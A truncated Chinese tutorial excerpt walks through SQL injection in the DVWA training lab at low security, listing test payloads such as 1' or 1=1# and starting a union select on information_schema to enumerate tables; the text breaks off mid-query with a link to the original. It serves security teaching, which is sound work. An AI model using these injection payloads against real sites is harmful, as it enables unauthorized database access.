dvwa靶場之SQL注入（low等級）

dvwa靶場之SQL注入（low等級）mysql 1. 第一步（判斷是否能夠注入） 1’ and 1=1#（正常回顯） 1’ and 1=2#（無回顯） 1’ or 1=1#（該表下全部數據項回顯） 以上幾步驟基本判斷有sql注入漏洞 2. 第二步（找到目標數據庫） ’ union select table_schema,table_name from information_schema.tab

>>阅读原文<<